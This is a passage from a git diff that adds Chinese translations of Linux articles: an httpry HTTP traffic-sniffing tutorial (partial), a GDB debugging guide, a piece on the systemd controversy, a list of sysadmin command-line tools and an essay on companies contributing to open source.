+在大多数情况下,由于发送与接到的数据包过多导致刷屏很快,难以分析。这时候你肯定想将捕获到的数据包保存下来以便离线分析。可以使用'b'或'-o'选项保存数据包。'-b'选项将数据包以二进制文件的形式保存下来,这样可以使用httpry软件打开文件以浏览。另一方面,'-o'选项将数据以可读的字符文件形式保存下来。 + +以二进制形式保存文件: + + $ sudo httpry -i eth0 -b output.dump + +浏览所保存的HTTP数据包文件: + + $ httpry -r output.dump + +注意,不需要根用户权限就可以使用'-r'选项读取数据文件。 + +将httpry数据以字符文件保存: + + $ sudo httpry -i eth0 -o output.txt + +###httpry 的高级应用### + +如果你想监视指定的HTTP方法(如:GET,POST,PUT,HEAD,CONNECT等),使用'-m'选项: + + $ sudo httpry -i eth0 -m get,head + +![](https://farm6.staticflickr.com/5551/14799184220_3b449d422c_z.jpg) + +如果你下载了httpry的源码,你会发现源码下有一些Perl脚本,这些脚本用于分析httpry输出。脚本位于目录httpry/scripts/plugins。如果你想写一个定制的httpry输出分析器,则这些脚可以作为很好的例子。其中一些有如下的功能: + +- **hostnames**: 显示唯一主机名列表。 +- **find_proxies**: 探测web代理。 +- **search_terms**: 查找及统计在搜索服务里面的搜索词。 +- **content_analysis**: 查找含有指定关键的URL。 +- **xml_output**: 将输出转换为XML形式。 +- **log_summary**: 生成日志汇总。 +- **db_dump**: 将日志文件数据保存数据库。 + +在使用这些脚本之前,首先使用'-o'选项运行httpry。当获取到输出文件后,立即使用如下命令执行脚本: + + $ cd httpry/scripts + $ perl parse_log.pl -d ./plugins + +你可能在使用插件的时候遇到警告。比如,如果你没有安装带有DBI接口的MySQL数据库,那么使用db\_dump插件时可能会失败。如果一个插件初始化失败的话,那么只是这个插件不能使用,所以你可以忽略那些警告。 + +当parse\_log.pl完成后,你将在httpry/scripts 目录下看到数个分析结果。例如,log\_summary.txt 与如下内容类似。 + +![](https://farm4.staticflickr.com/3845/14799162189_b85abdf21d_z.jpg) + +总的来说,当你要分析HTTP数据包的时候,httpry非常有用。它可能并不被大多Linux使用者所熟知,但会用总是有好处的。你觉得这个工具怎么样呢? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/sniff-http-traffic-command-line-linux.html + +作者:[Dan Nanni][a] +译者:[DoubleC](https://github.com/DoubleC) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/2012/12/how-to-set-up-proxy-auto-config-on-ubuntu-desktop.html +[2]:http://xmodulo.com/2012/11/what-are-popular-packet-sniffers-on-linux.html +[3]:http://xmodulo.com/2014/06/monitor-nginx-web-server-command-line-real-time.html +[4]:http://dumpsterventures.com/jason/httpry/ +[5]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html diff --git a/published/201411/How-to-debug-a-C or C++ program with GDB command-line debugger.md b/published/201411/How-to-debug-a-C or C++ program with GDB command-line debugger.md new file mode 100644 index 0000000000..f65bcb96d8 --- /dev/null +++ b/published/201411/How-to-debug-a-C or C++ program with GDB command-line debugger.md @@ -0,0 +1,167 @@ +使用GDB命令行调试器调试C/C++程序 +============================================================ +没有调试器的情况下编写程序时最糟糕的状况是什么?编译时跪着祈祷不要出错?用血祭召唤恶魔帮你运行可执行程序?或者在每一行代码间添加printf("test")语句来定位错误点?如你所知,编写程序时不使用调试器的话是不方便的。幸好,linux下调试还是很方便的。大多数人使用的IDE都集成了调试器,但 linux 最著名的调试器是命令行形式的C/C++调试器GDB。然而,与其他命令行工具一致,DGB需要一定的练习才能完全掌握。这里,我会告诉你GDB的基本情况及使用方法。 + +###安装GDB### + +大多数的发行版仓库中都有GDB + +Debian 或 Ubuntu + + $ sudo apt-get install gdb + +Arch Linux + + $ sudo pacman -S gdb + +Fedora,CentOS 或 RHEL: + + $sudo yum install gdb + +如果在仓库中找不到的话,可以从[官网中下载][1]。 + +###示例代码### + +当学习GDB时,最好有一份代码,动手试验。下列代码是我编写的简单例子,它可以很好的体现GDB的特性。将它拷贝下来并且进行实验——这是最好的方法。 + + #include + #include + + int main(int argc, char **argv) + { + int i; + int a=0, b=0, c=0; + double d; + for (i=0; i<100; i++) + { + a++; + if (i>97) + d = i / 2.0; + b++; + } + return 0; + } + +###GDB的使用### + +首先最重要的,你需要使用编译器的 “-g“选项来编译程序,这样可执行程序才能通过GDB来运行。通过下列语句开始调试: + + $ gdb -tui [executable's name] + +使用”-tui“选项可以将代码显示在一个漂亮的交互式窗口内(所以被称为“文本用户界面 TUI”),在这个窗口内可以使用光标来操控,同时在下面的GDB shell中输入命令。 + +![](https://farm3.staticflickr.com/2947/15397534362_ac0b5692c8_z.jpg) + +现在我们可以在程序的任何地方设置断点。你可以通过下列命令来为当前源文件的某一行设置断点。 + + break [行号] + +或者为一个特定的函数设置断点: + + break [函数名] + +甚至可以设置条件断点 + + break [行号] if [条件] + +例如,在我们的示例代码中,可以设置如下: + + break 11 if i > 97 + +![](https://farm3.staticflickr.com/2948/15374839066_8c7c0eb8a4_o.png) + +这样,程序循环97次之后停留在“a++”语句上。这样是非常方便的,避免了我们需要手动循环97次。 + +最后但也是很重要的是,我们可以设置一个“观察断点”,当这个被观察的变量发生变化时,程序会被停止。 + + watch [变量] + +这里我们可以设置如下: + + watch d + +当d的值发生变化时程序会停止运行(例如,当i>97为真时)。 + +当设置断点后,使用"run"命令开始运行程序,或按如下所示: + + r [程序的输入参数(如果有的话)] + +gdb中,大多数的命令单词都可以简写为一个字母。 + +不出意外,程序会停留在11行。这里,我们可以做些有趣的事情。下列命令: + + bt + +回溯功能(backtrace)可以让我们知道程序如何到达这条语句的。 + +![](https://farm3.staticflickr.com/2943/15211202760_1e77a3bb2e_z.jpg) + + info locals + +这条语句会显示所有的局部变量以及它们的值(你可以看到,我没有为d设置初始值,所以它现在的值是任意值)。 + +当然: + +![](https://farm4.staticflickr.com/3843/15374838916_8b65e4e3c7_z.jpg) + + p [变量] + +这个命令可以显示特定变量的值,而更进一步: + + ptype [变量] + +可以显示变量的类型。所以这里可以确定d是double型。 + +![](https://farm4.staticflickr.com/3881/15397534242_3cb6163252_o.jpg) + +既然已经到这一步了,我么不妨这么做: + + set var [变量] = [新的值] + +这样会覆盖变量的值。不过需要注意,你不能创建一个新的变量或改变变量的类型。我们可以这样做: + + set var a = 0 + +![](https://farm3.staticflickr.com/2949/15211357497_d28963a9eb_o.png) + +如其他优秀的调试器一样,我们可以单步调试: + + step + +使用如上命令,运行到下一条语句,有可能进入到一个函数里面。或者使用: + + next + +这可以直接运行下一条语句,而不进入子函数内部。 + +![](https://farm4.staticflickr.com/3927/15397863215_fb2f5912ac_o.jpg) + +结束测试后,删除断点: + + delete [行号] + +从当前断点继续运行程序: + + continue + +退出GDB: + + quit + +总之,有了GDB,编译时不用祈祷上帝了,运行时不用血祭了,再也不用printf(“test“)了。当然,这里所讲的并不完整,而且GDB的功能远远不止于此。所以我强烈建议你自己更加深入的学习它。我现在感兴趣的是将GDB整合到Vim中。同时,这里有一个[备忘录][2]记录了GDB所有的命令行,以供查阅。 + +你对GDB有什么看法?你会将它与图形调试器对比吗,它有什么优势呢?对于将GDB集成到Vim有什么看法呢?将你的想法写到评论里。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/gdb-command-line-debugger.html + +作者:[Adrien Brochard][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:https://www.gnu.org/software/gdb/ +[2]:http://users.ece.utexas.edu/~adnan/gdb-refcard.pdf diff --git a/published/201411/Meet systemd, the controversial project taking over a Linux distro near you.md b/published/201411/Meet systemd, the controversial project taking over a Linux distro near you.md new file mode 100644 index 0000000000..ceecf96843 --- /dev/null +++ b/published/201411/Meet systemd, the controversial project taking over a Linux distro near you.md @@ -0,0 +1,80 @@ +Systemd这个有争议的项目正在接管你身边的Linux发行版 +========= +![](http://core4.staticworld.net/images/article/2014/10/linux-attack-100528169-gallery.jpg) + +Systemd 是目前为止在Linux平台上最有争议的项目之一。它到底有多大的争议?它的争议大到systemd的开发者之一Lennart Poettering 声称有人使用[比特币][2]雇佣职业杀手要干掉他。但是还是有比较理智的做法的,有一个[抵制systemd网站][3]在技术角度上提出了抵制systemd的原因。 + +如此强烈的抵制也反映了systemd的成功。它已经被或将要被Fedroa、OpenSUSE、Ubuntu、Debian、Arch Linux等众多发行版采用。随着时间推移,GNOME越来越依赖它,Debian[回归GNOME][4]的原因之一就是它采用了systemd。systemd无处不在! + +那么如此激烈的争论到底是关于什么呢?让我们近距离观察这场战争。 + +###Systemd是一个全新的init + +[Systemd][5]的核心是取代老旧的[SysV init][6]。init用来初始化你的操作系统,当你启动系统时,init负责加载需要的驱动,激活你的网络链接,启动众多的系统服务,最后进入图形登陆界面。而SysV init 是一个老旧的系统,它基本上仅运行**/etc/init.d**目录下的一些脚本。 + +Systemd是一个现代技术,用以取代老旧以及粗糙的SysV init。它可以在接收到事件响应时启动相关服务;比如,当你接入了一个USB打印机,systemd可以在接收到设备接入响应时启动打印服务。当它接收到某个网络端口的连接请求时,它可以启动在此端口上监听的服务并且传递这个连接。 + +获取更多关于SysV init 与 systemd的信息,可以参考Jorgen Schäfer的 “[Why systemd?][9]” + +###但是systemd远不止此### + +systemd的反对者之中也有部分人认为SysV太老了,应该被取代掉。但是批评systemd的人发现Systemd是一个巨大的项目,其中包括了很多其他的功能。它是一个软件套件,而不仅仅是一个init。 + +![An illustration of systemd's structure.](https://cms-images.idgesg.net/images/article/2014/10/systemd-diagram-100528171-orig.png) + +*[维基共享资源][10] systemd 结构图解* + +Systemd包括用于管理用户登陆的守护进程logind,还包括journald,并且journald 颇有争议的使用了二进制形式保存系统日志而不是以文本形式。systemd也采用了[udev][11]的思想及代码,它对**/dev/**目录下的虚拟设备文件进行管理,并且处理设备接入或推出时所产生的事件。除了这些还有很多其他的,如:systemd还包括了[cron][12]风格的任务调度器与网络守护进程networkd等等。 + +###抨击者认为systemd不是类UNIX风格 + +多数的抱怨源于人们认为systemd项目太大以至于超出了它的工作范围,并且它从Linux系统接管的部分太多了。不要感到惊奇,systemd的抵制活动是以下面的抱怨开始的: + +>"systemd文件是一大堆的复杂的高度耦合的二进制组成的,这违反了UNIX哲学:‘做一件事情,并把它做好’。它超出了一个init程序的职责范围,因为它还有电源管理,设备管理,挂载管理,cron(定时执行工具),磁盘加密,socket接口/inetd,syslog,网络配置,登陆/会话管理,文件预读,GPT分区发现,容器注册,hostname/locale/time管理,mDNS/DNS-SD等功能,它将Linux控制台以及其他的一些功能都包装在一个程序里面。 + +##那么,systemd是好是坏? + +到这里,我判断一下,到底谁是正确的。 + +![](https://cms-images.idgesg.net/images/article/2013/09/linux-penguin-100055693-medium.png) + +systemd最初的想法是非常好的。Linux需要一个新的东西来替换老的 SysV init 和沉重的 SysV init 脚本,这个新的程序应该是灵活的,现代化的系统守护进程,它可以响应更多类型,并且智能化的管理众多的守护进程。然而,事实上systemd好像成为了**一个仅依赖Linux核心的完全统一的系统层**。 + +*但是*,尽管Linux是一个社区开发项目,但它不是为PC世界的专栏作家或者是一群网络评论者提供的,这些人都不能决定它的进化与发展。只有那些亲手贡献代码以及全身心投入的人才有这个资格。巧的是,Linux发行版以及那些参与者好像大部分都倾向与systemd。 + +>'我对于systemd本身并没有很强烈的个人看法。我与核心开发人员争论过它的bug与兼容性,并且我认为它的一些设计是愚蠢的(比如二进制的日志),但这只是细节,不是大问题。 + +如果 Linux Torvald 对于systemd的设计没有什么反对意见,那么说明它可能还是不错的。如果你想平静的看下为什么Linux发行版要使用systemd的话,我推荐这篇文章,[Debian's systemd discussion document][13]。 + +你是如何看systemd的,可以在评论回复!但是请文明讨论。 + +*更新这篇文章以澄清之前的错误的消息,ubuntu 桌面版将在下一个版本中纳入systemd。之前我们错误的认为ubuntu已经使用了systemd*。 + +------------------------------------------------------------------------------- + +via: http://www.pcworld.com/article/2841873/meet-systemd-the-controversial-project-taking-over-a-linux-distro-near-you.html + +作者:[Chris Hoffman][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.pcworld.com/article/2841873/meet-systemd-the-controversial-project-taking-over-a-linux-distro-near-you.html#chrishoffman +[1]:https://plus.google.com/app/basic/stream/z13rdjryqyn1xlt3522sxpugoz3gujbhh04 +[2]:http://www.pcworld.com/article/2033715/7-things-you-need-to-know-about-bitcoin.html +[3]:http://boycottsystemd.org/ +[4]:http://www.pcworld.com/article/2691192/how-gnome-3-14-is-winning-back-disillusioned-linux-users.html +[5]:http://www.freedesktop.org/wiki/Software/systemd/ +[6]:http://en.wikipedia.org/wiki/Init#SysV-style +[7]:http://www.pcworld.com/column/world-beyond-windows/ +[8]:http://www.pcworld.com/blog/world-beyond-windows/index.rss +[9]:http://blog.jorgenschaefer.de/2014/07/why-systemd.html +[10]:http://en.wikipedia.org/wiki/File:Systemd_components.svg +[11]:http://en.wikipedia.org/wiki/Udev +[12]:http://en.wikipedia.org/wiki/Cron +[13]:http://www.markshuttleworth.com/archives/1295 +[14]:http://www.pcworld.com/article/2836984/why-ubuntu-1410-utopic-unicorns-humble-changes-are-the-calm-before-the-storm.html +[15]:http://www.maximumpc.com/article/news/linus_torvalds_tosses_f-bombs_middle_fingers_and_general_disdain_nvidia +[16]:http://www.zdnet.com/linus-torvalds-and-others-on-linuxs-systemd-7000033847/ +[17]:https://wiki.debian.org/Debate/initsystem/systemd diff --git a/published/201412/20140818 What are useful CLI tools for Linux system admins.md b/published/201412/20140818 What are useful CLI tools for Linux system admins.md new file mode 100644 index 0000000000..58703a178d --- /dev/null +++ b/published/201412/20140818 What are useful CLI tools for Linux system admins.md @@ -0,0 +1,187 @@ +Linux系统管理员的命令行工具箱目录 +================================================================================ +系统管理员(sysadmins)负责日常维护生产系统和服务。其中一个关键任务就是保证功能性服务能24小时工作。为了这个,他们得很小心地计划备份方式,灾难管理策略,定时维护,安全审查,等等。和任意其他管理一样,系统管理员也有他们的必备工具。在正确的时间正确的情况下使用合适的工具,可以帮助维护操作系统的健壮,达到最小的服务中断时间和最大的运行时间。 + +![](https://farm6.staticflickr.com/5563/14853747084_e14cf18e8f_z.jpg) + +这篇文章会介绍一些系统管理员日常活动中最常用和有效的命令行工具。如果你想推荐其他没在这里列出来的好用的工具,别忘了在评论区里分享一下。 + +### 网络工具 ### + +1. **ping**:通过ICMP回应/回复报文来检查远端主机的端到端连接性(RTT延时,抖动,丢包)。用来检查系统状态和可连接性很不错。 + +2. **[phping][1]**:网络扫描和检测工具,可以产生ICMP/TCP/UDP ping数据包。常常用于高级端口扫描,防火墙测试,手动MTU路径发现和碎片测试。 + +3. **traceroute**:通过TTL限定的ICMP/UDP/TCP侦测包来发现从本地主机到远端目标主机之间的第三层转发路径。用来调试网络连接性和路由问题。 + +4. **mtr**:traceroute的一个变种,能根据运行时统计数据整理出每一跳的包丢失/抖动。用来评估路由路径延时很不错。 + +5. **[netcat][2]/[socat][3]**:TCP/IP网络里的瑞士军刀,可以读/写 TCP/UDP 协议字节流。用来调试防火墙策略和服务可用性很不错。 + +6. **dig**:DNS调试工具,可以生成正向查询,反向查询,搜索域名服务器,检查CNAME,MX和其他DNS记录。可以在侦错的时候查询特定的DNS服务器。 + +7. **nslookup**:另外一个DNS检查/调试工具。支持所有DNS查询和记录。可以查询特定DNS服务器。 + +8. **dnsyo**:一个DNS测试工具,通过对全世界1500个不同网络中的大量开放解析器执行DNS查询来测试DNS传输。 + +9. **lsof**:显示进程打开的文件信息(例如,普通文件,管道或套接字)。用来监视网络连接很不错。 + +10. **iftop**:一个基于ncurses的命令行界面应用,可以实时监视各个网络物理接口上的网络连接和带宽占用。用来记录霸占带宽的应用、用户、目的地和端口等很不错。 + +11. **netstat**:一个网络统计工具,可以显示状态以及统计信息,当前网络连接(TCP/UDP端口,IP地址)、路由表、TX/RX traffic以及网络协议。用来做网络相关诊断和性能调试很不错。 + +12. **[tcpdump][4]**:一个常用的基于libpcap抓包库的包侦测工具。可以按伯克利包过滤器格式定义抓包条件。 + +13. **[tshark][5]**:另一个命令行抓包工具,和它的GUI版本Wireshark完全兼容。支持[1000种协议][6]而且这个列表还在增加。用来调试、分析和保存实时网络封包信息很不错。 + +14. **ip**:一个多功能的命令行网络工具,是iproute2包的一部分。可以检查和修改路由表、网络设备状态以及IP隧道设置。用来查看路由表、增加/删除静态路由、配置网络接口、以及调试路由问题很有用。 + +15. **ifup/ifdown**:用来激活和关闭特定的网络接口。经常用于重启整个网络服务。 + +16. **[autossh][7]**:一个能建立SSH连接并在断线后自动重新连接的程序。用来创建长时间保持的穿越严格企业网络的SSH隧道很有用。 + +17. **iperf**:一个网络测试工具,通过在发送自定义TCP/UDP数据流来衡量主机间双向最大吞吐量。 + +18. **[elinks][8]/[lynx][9]**:为基于命令行的服务器环境下使用的基于文字的网页浏览器。 + +### 安全工具 ### + +19. **[iptables][10]**:一个用户空间下的命令行工具,用于配置Linux内核防火墙。可以创建和修改Linux内核空间的网络包接收、转发和发送规则。 + +20. **[nmap][11]**:一个常用的为了安全审查目的的端口扫描和网络发现工具。用来在本地网络中找出哪些主机开机并运行起来了以及某台特定主机打开了哪些端口很有用。 + +21. **[TCP Wrappers][12]**:一个主机端的网络访问控制列表工具,可以过滤进入/出去的网络请求/回复。经常配合iptables一起使用,作为额外一层安全保护。 + +22. **getfacl/setfacl**:查看和定制文件和目录的访问控制列表,作为传统文件权限的扩展。 + +23. **cryptsetup**:用于创建和管理LUKS加密磁盘分区。 + +24. **lynis**:一个命令行的漏洞扫描工具。可以扫描整个Linux系统,并汇报潜在的漏洞以及相关可能解决方案。 + +25. **maldet**:一个恶意软件扫描命令行工具,可以检测和隔离潜在的感染文件。可以在后台运行长期监视。 + +26. **[rkhunter][13]/[chkrootkit][14]**:一个命令行工具,可以扫描本地系统里的潜在木马、隐藏后门和可疑利用,并禁用它们。 + +### 存储工具 ### + +27. **fdisk**:一个磁盘分区编辑工具。用于查看、创建和修改本地磁盘或可移动磁盘的分区。 + +28. **sfdisk**:fdisk的一个变种,能用一种非交互的方式访问或更新磁盘分区表。用来自动化备份和恢复过程中的磁盘分区很有用。 + +29. **[parted][15]**:另一个磁盘分区编辑器,支持超过2TB的磁盘的GPT(GUID分区表)格式。gparted是parted的一个前端GTK+图形界面。 + +30. **df**:用来查看不同分区或文件路径的已用/可用存储空间和挂载点。还有一个更易用的变种dfc。 + +31. **du**:用来查看不同文件和目录的当前磁盘占用情况(例如,du -sh *)。 + +32. **mkfs**:一个磁盘格式化命令,用来在独立磁盘分区上建立文件系统。有多个文件系统相关的版本:ext2、ext3、ext4、bfs、ntfs、vfat/fat。 + +33. **fsck**:一个命令行工具,用来检查文件系统错误并尝试可能的修复。通常在启动时自动运行,但是在卸载一个分区后也可以根据需要手动运行。 + +34. **mount**:用来映射一个物理磁盘分区、网络共享或远程存储到一个本地挂载点。任何对挂载点里的读/写操作都是对应实际存储的实际数据读/写。 + +35. **mdadm**:一个命令行工具,用来管理物理块设备上的软件RAID设备。可以创建、构造、增长或监视RAID阵列。 + +36. **lvm**:一套命令行工具集,用来管理卷分组和物理/逻辑卷,可以用最小的停机时间在多个物理磁盘上创建、调整大小、拆分和合并卷。 + +### 日志访问工具 ### + +37. **tail**:用来查看一个(增长中的)日志文件的尾部。有几个变种,包括multitail(多窗口查看)和[ztail][16](支持inotify和正则表达式过滤以及颜色)。 + +38. **logrotate**:一个命令行工具,可以在根据设定的时间段拆分、压缩并通过邮件发送旧的/大的日志文件。用来管理可能产生大量日志文件的繁忙主机很有用。 + +39. **grep/egrep**:可以通过特定的模式或正则表达式过滤日志内容。变种包括用户更友好的ack和速度更快的ag。 + +40. **awk**:一个多功能的文本扫描和处理工具。常用于从文本/日志文件中找出特定的列或内容,并输出给其他工具。 + +41. **sed**:一个文本流编辑工具,可以过滤和改变(例如,删除行/空格、替换/转换单词、增加计数)文本流并通过管道连接到stdout/stderr或者其他工具。 + +### 备份工具 ### + +42. **[rsync][17]**:一个快速的单向增量备份和镜像工具(LCTT 译注:rsync 应是双向的)。常用于复制一个数据仓库到线下存储,可以选择通过SSH或stunnel的加密连接。 + +43. **[rdiff-backup][18]**:另一个有效利用带宽的增量备份工具。管理两个连续快照之间的差分。 + +44. **duplicity**:一个加密的增量备份工具。使用GnuPG加密备份,并通过SSH上传到远程服务器。 + +### 性能监视工具 ### + +45. **top**:一个命令行的进程查看程序。可以监视系统负载、进程状态、CPU和内存占用。有一个更易用的变种htop。 + +46. **ps**:显示系统所有运行中进程的一个快照。输出可以定制成显示PID、PPID、用户、负载、内存、积累的用户/系统时间、启动时间、以及更多。有一个变种pstree可以用树结构显示进程。 + +47. **[nethogs][19]**:一个带宽监视工具,按进程来分组显示活动网络连接,实时汇报每个进程占用的(上传/下载)带宽。 + +48. **ngxtop**:一个网页服务器访问日志解析和监视工具,界面受到了top命令启发。它可以实时汇报整理过的页面请求列表,包括频率、大小、HTTP返回值、IP地址,等等。 + +49. **vmstat**:一个简单的命令行工具,可以显示多个实时系统特征,例如进程数、剩余内存、分页状态、CPU占用、块设备I/O活动、中断/上下文切换统计、等等。 + +50. **iotop**:一个基于ncurses的I/O监视工具,可以实时排序显示所有运行中进程的磁盘I/O活动。 + +51. **iostat**:一个命令行工具,可以汇报当前CPU使用情况,以及设备I/O使用情况,这里的I/O使用情况(例如,块传输速度、字节读/写速度)是按设备或分区来汇报的。 + +### 效率工具 ### + +52. **screen**:用来把一个单一的终端拆分成多个持久的虚拟终端,也支持远程用户访问,类似teamviewer的屏幕分享功能。 + +53. **tmux**:另一个终端复用工具,可以支持多个长期会话,还可以横向/纵向拆分终端。 + +54. **cheat**:一个简单的命令行工具,可以让你查看多个常用Linux命令的备忘录,就在手边非常方便。内建的备忘录也可以完全定制。 + +55. **apropos**:用来在帮助手册里查找描述或关键字很有用。 + +### 包管理工具 ### + +56. **apt**:基于Debian系统的事实上的包管理工具,例如Debian、Ubuntu或Backtrack。一个救生圈。 + +57. **apt-fast**:apt-get的一个支撑应用,可以通过多个并行连接明显提高apt-get的下载速度。 + +58. **apt-file**:用来查看某个特定文件属于哪个.deb包,或者显示一个特定.deb包里的所有文件。已安装和未安装的包都能支持。 + +59. **dpkg**:一个用来手动安装.deb包的命令行工具。强烈建议尽可能的使用apt。 + +60. **yum**:用于基于红帽的系统的自动包管理工具,比如RHEL、CentOS或Fedora。这是另一个救生圈! + +61. **rpm**:通常我都是使用 rpm 来配合 yum 使用。有很多有用的参数,比如-q、-f、-l可以分别用来查询、指定文件和路径。 + +### 硬件工具 ### + +62. **lspci**:一个命令行工具,可以显示已安装的PCI设备的各种信息,比如型号名称、设备驱动、设备功能、内存地址、PCI总线地址。 + +63. **lshw**:一个命令行工具,可以查询和显示不同分类下的硬件配置的详细信息(例如,处理器、内存、主板、网络、存储)。支持多重输出格式:html、xml、json、text。 + +64. **[inxi][20]**:一个综合硬件查看工具,可以提供不同硬件模块的总览,例如CPU,显卡,声卡,网卡,温度/风扇传感器,等等。 + +如果你希望推荐没有列在这里的好用的工具,不要客气,在评论区里分享一下。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/useful-cli-tools-linux-system-admins.html + +作者:[Sarmed Rahman][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://www.hping.org/ +[2]:http://netcat.sourceforge.net/ +[3]:http://www.dest-unreach.org/socat/ +[4]:http://www.tcpdump.org/ +[5]:https://www.wireshark.org/docs/man-pages/tshark.html +[6]:https://www.wireshark.org/docs/dfref/ +[7]:http://www.harding.motd.ca/autossh/ +[8]:http://elinks.or.cz/ +[9]:http://lynx.isc.org/ +[10]:http://www.netfilter.org/projects/iptables/ +[11]:http://nmap.org/ +[12]:http://en.wikipedia.org/wiki/TCP_Wrapper +[13]:http://rkhunter.sourceforge.net/ +[14]:http://www.chkrootkit.org/ +[15]:http://www.gnu.org/software/parted/ +[16]:https://hackage.haskell.org/package/ztail +[17]:http://rsync.samba.org/ +[18]:http://www.nongnu.org/rdiff-backup/ +[19]:http://nethogs.sourceforge.net/ +[20]:http://code.google.com/p/inxi/ diff --git a/published/201412/20140818 Why Your Company Needs To Write More Open Source Software.md b/published/201412/20140818 Why Your Company Needs To Write More Open Source Software.md new file mode 100644 index 0000000000..12f1a6be22 --- /dev/null +++ b/published/201412/20140818 Why Your Company Needs To Write More Open Source Software.md @@ -0,0 +1,76 @@ +为什么公司需要参与更多开源软件的编写? +================================================================================ + +> 闭门造车是产生不了创新的。 + +![](http://a5.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTE5NDg0MDYxMTkxMzQxNTgz.jpg) + + +[据华尔街日报称][1],有消息表明,Zulily正在开发更多的内部软件,但实际上根本不是。多年前[Eric Raymond写道][2],全世界95%的软件写来用的,而不是售卖。原因很多,但是其中有一个比较突出:正如Zulily的CIO Luke Friang所说,几乎没有一个[非定制]软件解决方案能跟上我们的步伐。 + +20年前是这样,现在也是这样。 + +但是有一点是不同的,这也正是华尔街日报完全忽略的地方。而这也正是历史上开发的内部软件始终保持着专有的原因了,因为它是一个公司的核心竞争力。然而今天,越来越多的公司意识到另一面:开源内部软件将会比保持专有获益更多。 + +这也就是为什么你的公司需要为开源项目做出更多的贡献。记住是更多。 + +### 不寻常的那些年 + +我们刚刚经历了一个很不一样的20年,那时很多软件的开发都是为了内部的使用,大多数人的精力都放在由SAP和微软这样的厂商建立的应用广泛的企业级解决方案。 + +不管怎么说,这都是一个理论。 + +在实践中,买方花费很少的钱购买license,然后至少付出5倍以上的代价来使软件符合他们的需求。比如说,一个公司可能在一个ERP系统上花费 100,000美元,但是他们还得继续花费500,000来维持软件正常运行。 + +开源软件甚至是应用程序正式发展起来的原因之一是很多公司可以免费获得一些功能性的产品(或者是以一个相对便宜的费用获得产品), 然后定制为他们所需要的。不管怎样,定制是有必要的,而且开源的根本是使成本更低,或许,这样的定制或许能产生更好的结果。 + +同时,开发者尽量的减少同类之间的相似之处。作为Redmonk分析师,[Stephen O'Grady认为][3]: + +> 从最近几年看,主流技术产业都有意避开专业化。运行在定制操作系统上的虚拟设备,已经彻底败给了RHEL和Windowns这些通用的操作系统。 最快20年,任何程序的数据保存都意味着一件事:一个关联的数据库,如果你要做的是企业级应用开发,那么你首先要接触的是Java,等等。 + +然而,开源的道路上,一些公司也发现,有些销售商不能很好地描述他们所想要的,即便是很好理解的产品类别,如像内容管理系统,他们需要 知道的是产品亮点,而不希望是一个模子刻出来的。 + +所以顾客没了,他们中有一部分转变成了供应商。 + +### 自己动手,丰衣足食 + +这也是常有的事,[O'Grady指出了][4]这一点。2010年,O'Grady发现了一个有趣的现象:“软件提供商正面对着一个强有力的市场竞争者:他们的顾客。” + +回想一下今天的高科技,大多数都是开源的,几乎所有的项目一开始都是某些公司的内部项目,或者仅仅是有些开发者的爱好,Linux,Git,Hadoop,Cassandra,MongDB,Android,等等。没有一个项目起初是为了售卖而产生的。 + +相反,这些项目通常是由一些公司维护,他们使用开源的资源来构建软件并[完善软件][5],这主要是一些Web公司。不像以前银行,医院和一些组织开发的软件只供内部使用,他们开源源码。 + +虽然,[有些公司避免定制软件][6],因为他们不想自己维护它,开源(稍微)减轻了这些发展中公司来维护一个项目的压力。从而为项目发起人均摊项目的开发成本,Yahoo,建立了 Hadoop,但是现在最大的贡献者是Cloudera和Hortonworks。Facebook 建立了 Cassandra,但是现在主要是靠DataStax在维护。等等。 + +### 现在就走出来吧! + +今天,真正的软件创新并不是闭门造车能造出来的,即便是可以,它也不会在那儿,开源项目颠覆了几十年的软件开发传统。 + +这不仅仅是一个人的一点点力量。 + +最好的开源项目都[发展得很快][7],但是这并不意味着别人在乎你的开源代码。[开放你的源码有显著的优缺点][8],其中一个很重要的优点是很多伟大的开发者都希望为开源做出贡献:如果你也想找一个伟大的开发者跟你一起,你需要给他们一个开放的源代码来让他们工作。([Netflix][9]说) + +但是,我们没有理由站在一边看,现在正是时候参与开源社区了,而不是把“社区”妖魔化。是的,开源最大的参与者正是你们和你们的公司。 赶紧开始吧。 + +主要图片来自于Shutterstock. (注:Shutterstock是美国的一家摄影图片网站。) + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/08/16/open-source-software-business-zulily-erp-wall-street-journal + +作者:[Matt Asay][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/matt-asay +[1]:http://blogs.wsj.com/cio/2014/08/08/zulily-calls-in-house-software-a-differentiator-for-competitive-advantage/ +[2]:http://oreilly.com/catalog/cathbazpaper/chapter/ch05.html +[3]:http://redmonk.com/sogrady/2010/01/12/roll-your-own/#ixzz3ATBuZsef +[4]:http://redmonk.com/sogrady/2010/01/12/roll-your-own/ +[5]:http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar +[6]:http://www.abajournal.com/magazine/article/roll_your_own_software_hidden_dangers_on_the_road_less_traveled/ +[7]:http://readwrite.com/2013/12/12/open-source-innovation +[8]:http://readwrite.com/2014/07/07/open-source-software-pros-cons 